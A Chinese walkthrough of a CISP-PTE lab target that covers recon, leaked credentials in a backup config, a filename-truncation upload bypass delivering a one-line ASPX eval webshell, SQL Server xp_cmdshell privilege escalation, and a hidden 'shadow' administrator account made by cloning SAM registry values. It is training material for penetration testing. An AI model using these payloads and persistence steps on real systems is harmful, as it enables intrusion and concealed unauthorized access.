CISP-PTE经典靶场解析(超详细)

2024-08-06 08:10:36 浏览数 (1)

信息收集

kali攻击机:192.168.111.146

靶机:192.168.111.129

环境搭建,网卡都是配置的NAT模式,同一网段下

ip

代码语言:javascript复制
nmap -sS 192.168.111.0/24

或者

代码语言:javascript复制
netdiscover -i eth0 -r 192.168.111.0/24

端口

代码语言:javascript复制
nmap -A -p- -T4 192.168.111.129

1433:sql server的默认端⼝

27689: 访问看看是什么服务的端口

文件上传下载系统,使用burp对用户名和密码进行爆破,没有爆破成功。

目录

基于这个27689端口,进行目录扫描,看是否存在敏感目录

代码语言:javascript复制
dirsearch -u http://192.168.111.129:27689

dirb http://192.168.111.129:27689

gobuster dir -u http://192.168.111.129:27689 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 100 -x php,txt,html

我这里使用dirsearch进行扫描

访问:http://192.168.111.129:27689/admin/admin.aspx

访问http://192.168.111.129:27689/Robots.txt

继续访问http://192.168.111.129:27689/web.config.bak

可以看到下载了一个文件,通常.bak⽂件是备份⽂件,查看该备份文件,得到SQL server数据库的名称FileManage,用户名down,密码downsql。

连接数据库

得到用户名admin,密码asdadwn_d2112

利用文件上传功能

登录文件上传下载系统,上传文件发现只允许上传txt,jpg ,黑名单限制比较死

更具提示文件名过长会被系统截取包括系统时间在内的前32位字符作为文件名

思考:只要我们上传的文件名超过32位,通过溢出导致上传木马文件,参考ID55 ,上传文件名为aaaaaaaa.aspx.txt

代码语言:javascript复制
文件名:aaaaaaaa.aspx.txt
内容:<%@ Page Language="Jscript"%><%eval(Request.Item["666"],"unsafe");%>

成功上传

查找文件路径,根据报错提示文件路径为../upfile/affix/" fileName

文件路径为:http://192.168.111.129:27689/upfile/affix/638582066907968750-aaaaaaaa.aspx

连接webshell:使用蚁剑进行连接

利用文件下载功能

通过上面一系列的操作,其实可以直观的看到存在任意文件下载漏洞

点击文件名称,下载该文件

这里已经知道文件路径../upfile/affix/" fileName

http://192.168.111.129:27689/upfile/affix/636625082296562500-bbbbbbbb.aspx

查看文件内容,得到连接密码z

使用蚁剑链接webshell

提权

点击右键,执行终端whoami

利用sqlserver 提权

数据库提权的前提条件:

代码语言:javascript复制
1、服务器开启数据库服务
2、获取到最高权限用户密码即sa
(除Access数据库外,其他数据库基本都存在数据库提权的可能)

数据库我们已经进行了连接,现在是要获取sa的用户名和密码

在备份文件web.config.bak.2017-12-12找到了sa的用户名和密码

连接sa,数据库名称FileManage,用户名sa 密码cisp-pte@sa

使用xp_cmdshell进行提权

sql sever有一个自带的系统数据库master,而xp_cmdshell在 存储过程、扩展存储过程中,查看扩展存储过程,如果其中含有sys.xp_cmdshell 说明目标网站没有删除该组件

选择数据库,新建查询,执行命令

代码语言:javascript复制
EXEC master.dbo.xp_cmdshell 'whoam'

成功提权

注意:如果执行命令如果报错提示关闭,那么就使用开启 xp_cmdshell 的命令(只有sa权限才可以开启)

代码语言:javascript复制
EXEC sp_configure 'show advanced options', 1
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;

权限维持

这里还可以利用xp_cmdshell开启远程桌面,新建用户,做权限维持

通过注册表开启远程桌面3389端口命令

代码语言:javascript复制
reg add  "HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f

xp_cmdshell变形

代码语言:javascript复制
EXEC master.dbo.xp_cmdshell 'reg add  "HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f'

检查端口状态

代码语言:javascript复制
EXEC master.dbo.xp_cmdshell 'netstat -an|find "3389"'

添加影子用户,并加入管理员组

代码语言:javascript复制
EXEC master.dbo.xp_cmdshell 'net user test$ 123456 /add'

EXEC master.dbo.xp_cmdshell 'net localgroup administrators test$ /add'

win r 输入mstsc,连接远程桌面

输入新建影子账户和密码

影子账户就是在windows中比较隐蔽的用户,一般在后渗透的权限维持阶段会用到。影子账户主要是利用在权限维持上,通过先建立带$符号的账户,然后利用注册表修改里面的值,使得管理员无法通过cmd及计算机管理等地方查看攻击者所创建的账户,从而实现权限维持。

成功登录

打开cmd 输入regedit,找到HKEY_LOCAL_MACHINESAMSAM,修改SAM权限,赋予adminitrators完全控制权限,重启之后找到test$账户

找到administrator用户的F值数据

将Administrator用户对应项的F数据值复制到test$用户对应项的F数据值

所对应项000003F4导出,分别命名为test.reg和1.reg

删除test$用户,将test.reg和1.reg导入注册表

代码语言:javascript复制
net user test$ /del
regedit /s test.reg 
regedit /s 1.reg

此时在用户组已经看不到test$用户。

0 人点赞